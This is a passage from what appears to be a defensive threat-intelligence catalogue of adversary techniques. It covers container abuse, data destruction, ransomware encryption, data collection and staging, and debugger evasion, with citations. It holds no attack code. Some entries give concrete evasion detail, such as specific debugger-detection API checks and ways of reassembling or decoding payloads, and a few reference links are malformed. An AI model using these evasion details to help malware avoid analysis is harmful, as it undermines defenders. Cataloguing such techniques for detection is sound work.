references/c80ad3fd-d7fc-4a7a-8565-da3feaa4a915)]</sup>^{[[Docker Exec](https://app.tidalcyber.com/references/5f1ace27-6584-4585-98de-52cb71d419c1)]} In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.^{[[Kubectl Exec Get Shell](https://app.tidalcyber.com/references/ffb9c0ca-533f-4911-8c0c-a2653410a76d)]}

The tag is: *misp-galaxy:technique="Container Administration Command"*

Container and Resource Discovery

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.^{[[Docker API](https://app.tidalcyber.com/references/b8ec1e37-7286-40e8-9577-ff9c54801086)]}^{[[Kubernetes API](https://app.tidalcyber.com/references/5bdd1b82-9e5c-4db0-9764-240e37a1cc99)]} In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

The tag is: *misp-galaxy:technique="Container and Resource Discovery"*

Content Injection

Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://app.tidalcyber.com/technique/f2661f07-9027-4d19-9028-d07b7511f3d5) followed by [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242)) and other data to already compromised systems.^{[[ESET MoustachedBouncer](https://app.tidalcyber.com/references/6c85e925-d42b-590c-a424-14ebb49812bb)]}

Adversaries may inject content to victim systems in various ways, including:

- From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9), which describes AiTM activity solely within an enterprise environment) <sup>[[Kaspersky Encyclopedia MiTM](https://app.tidalcyber.com/references/353a6eb9-54c5-5211-ad87-

abf5d941e503)]</sup>

- From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server ^{[[Kaspersky ManOnTheSide](https://app.tidalcyber.com/references/8ea545ac-cca6-5da5-8a93-6b07518fc9d4)]}

Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."^{[[Kaspersky ManOnTheSide](https://app.tidalcyber.com/references/8ea545ac-cca6-5da5-8a93-6b07518fc9d4)]}^{[[ESET MoustachedBouncer](https://app.tidalcyber.com/references/6c85e925-d42b-590c-a424-14ebb49812bb)]}^{[[EFF China GitHub Attack](https://app.tidalcyber.com/references/b8405628-6366-5cc9-a9af-b97d5c9176dd)]}

The tag is: *misp-galaxy:technique="Content Injection"*

Create Account

Adversaries may create an account to maintain access to victim systems.^{[[Symantec WastedLocker June 2020](https://app.tidalcyber.com/references/061d8f74-a202-4089-acae-687e4f96933b)]} With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

The tag is: *misp-galaxy:technique="Create Account"*

Create or Modify System Process

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.^{[[TechNet Services](https://app.tidalcyber.com/references/b50a3c2e-e997-4af5-8be0-3a8b3a959827)]} On macOS, launchd processes known as [Launch Daemon](https://app.tidalcyber.com/technique/eff618a9-6498-4b01-bca1-cd5f3784fc27) and [Launch Agent](https://app.tidalcyber.com/technique/6dbe030c-5f87-4b45-9b6b-5bba2c0fad00) are run to finish system initialization and load user specific parameters.^{[[AppleDocs Launch Agent Daemons](https://app.tidalcyber.com/references/310d18f8-6f9a-48b7-af12-6b921209d1ab)]}

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.<sup>[[OSX Malware Detection](https://app.tidalcyber.com/

references/0df0e28a-3c0b-4418-9f5a-77fffe37ac8a)]</sup>

The tag is: *misp-galaxy:technique="Create or Modify System Process"*

Credentials from Password Stores

Adversaries may search for common password storage locations to obtain user credentials.^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]} Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:technique="Credentials from Password Stores"*

Data Destruction

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.^{[[Symantec Shamoon 2012](https://app.tidalcyber.com/references/ac634e99-d951-402b-bb1c-e575753dfda8)]}^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Unit 42 Shamoon3 2018](https://app.tidalcyber.com/references/c2148166-faf4-4ab7-a37e-deae0c88c08d)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]} Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://app.tidalcyber.com/technique/761fa7fa-d7e1-4796-85b3-5cd37d55dffa) and [Disk Structure Wipe](https://app.tidalcyber.com/technique/14a944d3-ab95-40d8-b069-ccc4824ef46d) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Unit 42 Shamoon3 2018](https://app.tidalcyber.com/references/c2148166-faf4-4ab7-a37e-deae0c88c08d)]} In some cases politically oriented image files have been used to overwrite data.^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([Symantec Shamoon 2012(https://app.tidalcyber.com/references/ac634e99-d951-402b-bb1c-e575753dfda8)]</sup>^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}.

In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.^{[[Data Destruction - Threat Post](https://app.tidalcyber.com/references/97d16d3a-98a0-4a7d-9f74-8877c8088ddf)]}^{[[DOJ - Cisco Insider](https://app.tidalcyber.com/references/b8d9006d-7466-49cf-a70e-384edee530ce)]} Similarly, they may delete virtual machines from on-prem virtualized environments.

The tag is: *misp-galaxy:technique="Data Destruction"*

Data Encoding

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.^{[[Wikipedia Binary-to-text Encoding](https://app.tidalcyber.com/references/9b3820e8-f094-4e87-9ed6-ab0207d509fb)]} ^{[[Wikipedia Character Encoding](https://app.tidalcyber.com/references/3e7df20f-5d11-4102-851f-04e89c25d12f)]} Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:technique="Data Encoding"*

Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.^{[[US-CERT Ransomware 2016](https://app.tidalcyber.com/references/866484fa-836d-4c5b-bbad-3594ef60599c)]}^{[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]}<sup>[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-

2745921b6743)]</sup>^{[[US-CERT SamSam 2018](https://app.tidalcyber.com/references/b9d14fea-2330-4eed-892c-b4e05a35d273)]}

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://app.tidalcyber.com/technique/cb2e4822-2529-4216-b5b8-75158c5f85ff) or [System Shutdown/Reboot](https://app.tidalcyber.com/technique/24787dca-6afd-4ab3-ab6c-32e9486ec418), in order to unlock and/or gain access to manipulate these files.^{[[CarbonBlack Conti July 2020](https://app.tidalcyber.com/references/3c3a6dc0-66f2-492e-8c9c-c0bcca73008e)]} In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.^{[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-2745921b6743)]} Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([FireEye WannaCry 2017(https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]</sup>^{[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-2745921b6743)]} Encryption malware may also leverage [Internal Defacement](https://app.tidalcyber.com/technique/546a3318-0e03-4b22-95f5-c02ff69a4ebf), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").^{[[NHS Digital Egregor Nov 2020](https://app.tidalcyber.com/references/92f74037-2a20-4667-820d-2ccc0e4dbd3d)]}^{[[Varonis](https://app.tidalcyber.com/references/2084fd09-f246-50f1-bfaa-5b3aa0b00779)]}

In cloud environments, storage objects within compromised accounts may also be encrypted.^{[[Rhino S3 Ransomware Part 1](https://app.tidalcyber.com/references/bb28711f-186d-4101-b153-6340ce826343)]} For example, in AWS environments, adversaries may leverage services such as AWS's Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.^{[[Halcyon AWS Ransomware 2025](https://app.tidalcyber.com/references/e72192d5-eed6-57f5-8dfc-49c57da04bd6)]}

The tag is: *misp-galaxy:technique="Data Encrypted for Impact"*

Data from Cloud Storage

Adversaries may access data from cloud storage.

Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce,

and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.

In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://app.tidalcyber.com/technique/af798e80-2cc5-5452-83e4-9560f08bf2d5). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://app.tidalcyber.com/technique/08a73f37-a04e-46be-9409-b330cbe291b4)).

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.^{[[Amazon S3 Security, 2019](https://app.tidalcyber.com/references/4c434ca5-2544-45e0-82d9-71343d8aa960)]}^{[[Microsoft Azure Storage Security, 2019](https://app.tidalcyber.com/references/95bda448-bb13-4fa6-b663-e48a9d1b866f)]}^{[[Google Cloud Storage Best Practices, 2019](https://app.tidalcyber.com/references/752ad355-0f10-4c8d-bad8-42bf2fc75fa0)]} There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.^{[[Trend Micro S3 Exposed PII, 2017](https://app.tidalcyber.com/references/1ba37b48-1219-4f87-af36-9bdd8d6265ca)]}^{[[Wired Magecart S3 Buckets, 2019](https://app.tidalcyber.com/references/47fb06ed-b4ce-454c-9bbe-21b28309f351)]}^{[[HIPAA Journal S3 Breach, 2017](https://app.tidalcyber.com/references/b0fbf593-4aeb-4167-814b-ed3d4479ded0)]}^{[[Rclone-mega-extortion_05_2021](https://app.tidalcyber.com/references/9b492a2f-1326-4733-9c0e-a9454bf7fabb)]}

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.

The tag is: *misp-galaxy:technique="Data from Cloud Storage"*

Data from Configuration Repository

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}<sup>[[US-CERT TA17-156A SNMP Abuse

2017](https://app.tidalcyber.com/references/82b814f3-2853-48a9-93ff-701d16d97535)]</sup>

The tag is: *misp-galaxy:technique="Data from Configuration Repository"*

Data from Information Repositories

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://app.tidalcyber.com/technique/ab4f22d6-465f-4a16-8a40-693f2234c4ac)).

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials (i.e., [Unsecured Credentials](https://app.tidalcyber.com/technique/02ed857b-ba39-4fab-b1d9-3ed2aa689dfd))
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
- Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:

- Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases
- Collaboration platforms such as SharePoint, Confluence, and code repositories
- Messaging platforms such as Slack and Microsoft Teams

In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.^{[[Mitiga](https://app.tidalcyber.com/references/8c1d75b3-2ea9-5390-aefb-88f50730b2a0)]}^{[[TrendMicro Exposed Redis 2020](https://app.tidalcyber.com/references/58e61406-a8ca-52a8-be48-ef6066619a8a)]}^{[[Cybernews Reuters Leak 2022](https://app.tidalcyber.com/references/ca5ee9aa-6c9a-57dc-9cb4-0d976de1b5e5)]}

The tag is: *misp-galaxy:technique="Data from Information Repositories"*

Data from Local System

Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), such as [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) as well as a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907), which have functionality to interact with the file system to gather information.^{[[show_run_config_cmd_cisco](https://app.tidalcyber.com/references/5a68a45a-a53e-5d73-a82a-0cc951071aef)]} Adversaries may also use [Automated Collection](https://app.tidalcyber.com/technique/107ad6c5-79b1-468c-9519-1578bee2ac49) on the local system.

The tag is: *misp-galaxy:technique="Data from Local System"*

Data from Network Shared Drive

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) may be used to gather information.

The tag is: *misp-galaxy:technique="Data from Network Shared Drive"*

Data from Removable Media

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) may be used to gather information.

Some adversaries may also use [Automated Collection](https://app.tidalcyber.com/technique/107ad6c5-79b1-468c-9519-1578bee2ac49) on removable media.

The tag is: *misp-galaxy:technique="Data from Removable Media"*

Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.^{[[Sygnia Elephant Beetle Jan 2022](https://app.tidalcyber.com/references/932897a6-0fa4-5be3-bf0b-20d6ddad238e)]} By

manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:technique="Data Manipulation"*

Data Obfuscation

Adversaries may obfuscate command and control traffic to make it more difficult to detect.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]} Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: *misp-galaxy:technique="Data Obfuscation"*

Data Staged

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://app.tidalcyber.com/technique/ebd3f870-c513-4fb0-b133-15ffc1f91db2). Interactive command shells may be used, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) and bash may be used to copy data into a staging location.^{[[PWC Cloud Hopper April 2017](https://app.tidalcyber.com/references/fe741064-8cd7-428b-bdb9-9f2ab7e92489)]}

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://app.tidalcyber.com/technique/2ba8a662-6930-4cbe-9e3d-4cbe2109fd88) and stage data in that instance.^{[[Mandiant M-Trends 2020](https://app.tidalcyber.com/references/83bc9b28-f8b3-4522-b9f1-f43bce3ae917)]}

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:technique="Data Staged"*

Data Transfer Size Limits

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer

threshold alerts.

The tag is: *misp-galaxy:technique="Data Transfer Size Limits"*

Debugger Evasion

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.^{[[ProcessHacker Github](https://app.tidalcyber.com/references/3fc82a92-cfba-405d-b30e-22eba69ab1ee)]}

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.^{[[Cado Security P2PInfect 2023](https://app.tidalcyber.com/references/8e589de1-9c94-5ce9-ab6e-dcc1393bf997)]}^{[[Positive Technologies Hellhounds 2023](https://app.tidalcyber.com/references/c094cc70-5ea8-5b99-840a-b8bff806b4bb)]} Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).^{[[hasherezade debug](https://app.tidalcyber.com/references/53b0c71d-c577-40e8-8a04-9de083e276a2)]}^{[[AlKhaser Debug](https://app.tidalcyber.com/references/d9773aaf-e3ec-4ce3-b5c8-1ca3c4751622)]}^{[[vxunderground debug](https://app.tidalcyber.com/references/8c7fe2a2-64a1-4680-a4e6-f6eefe00407a)]}

Malware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.^{[[Apriorit](https://app.tidalcyber.com/references/e4806ab9-c5cf-5249-a521-1ee4ca392520)]}

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) function calls

such as <code>OutputDebugStringW()</code>.^{[[wardle evilquest partii](https://app.tidalcyber.com/references/4fee237c-c2ec-47f5-b382-ec6bd4779281)]}^{[[Checkpoint Dridex Jan 2021](https://app.tidalcyber.com/references/a988084f-1a58-4e5b-a616-ed31d311cccf)]}

The tag is: *misp-galaxy:technique="Debugger Evasion"*

Defacement

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://app.tidalcyber.com/technique/9a21c7c7-cf8e-4f05-b196-86ec39653e3b) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://app.tidalcyber.com/technique/9a21c7c7-cf8e-4f05-b196-86ec39653e3b) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:technique="Defacement"*

Deobfuscate/Decode Files or Information

Adversaries may use [Obfuscated Files or Information](https://app.tidalcyber.com/technique/046cc07e-8700-4536-9c5b-6ecb384f52b0) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of [certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043) to decode a remote access tool portable executable file that has been hidden inside a certificate file.^{[[Malwarebytes Targeted Attack against Saudi Arabia](https://app.tidalcyber.com/references/735647f9-9cd4-4a20-8812-4671a3358e46)]}
Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.^{[[Carbon Black Obfuscation Sept 2016](https://app.tidalcyber.com/references/bed8ae68-9738-46fb-abc9-0004fa35636a)]}^{[[Sentinel One Tainted Love 2023](https://app.tidalcyber.com/references/03ff59ee-9ed7-5739-9abf-82329d581aab)]}

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.^{[[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)]}

The tag is: *misp-galaxy:technique="Deobfuscate/Decode Files or Information"*

Deploy Container

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://app.tidalcyber.com/technique/bebaf25b-9f50-4e3b-96cc-cc55c5765b61) and access other containers running on the node. ^{[[AppSecco Kubernetes Namespace Breakout 2020](https://app.tidalcyber.com/references/85852b3e-f6a3-5406-9dd5-a649358a53de)]}

Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. ^{[[Docker Containers API](https://app.tidalcyber.com/references/2351cb32-23d6-4557-9c52-e6e228402bab)]}^{[[Kubernetes Dashboard](https://app.tidalcyber.com/references/02f23351-df83-4aae-a0bd-614ed91bc683)]}^{[[Kubeflow Pipelines](https://app.tidalcyber.com/references/0b40474c-173c-4a8c-8cc7-bac2dcfcaedd)]} In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.^{[[Kubernetes Workload Management](https://app.tidalcyber.com/references/f207163b-08a8-5219-aca8-812e83e0dad3)]} Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.^{[[Aqua Build Images on Hosts](https://app.tidalcyber.com/references/efd64f41-13cc-4b2b-864c-4d2352cdadcd)]}

The tag is: *misp-galaxy:technique="Deploy Container"*

Develop Capabilities

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}^{[[Kaspersky Sofacy](https://app.tidalcyber.com/references/46226f98-c762-48e3-9bcd-19ff14184bb5)]}^{[[Bitdefender StrongPity June 2020](https://app.tidalcyber.com/references/7d2e20f2-20ba-4d51-9495-034c07be41a8)]}^{[[Talos Promethium June 2020](https://app.tidalcyber.com/references/188d990e-f0be-40f2-90f3-913dfe687d27)]}

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

The tag is: *misp-galaxy:technique="Develop Capabilities"*

Device Driver Discovery

Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://app.tidalcyber.com/technique/9e945aa5-3883-4537-a767-f49bdcce26c7)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c)).

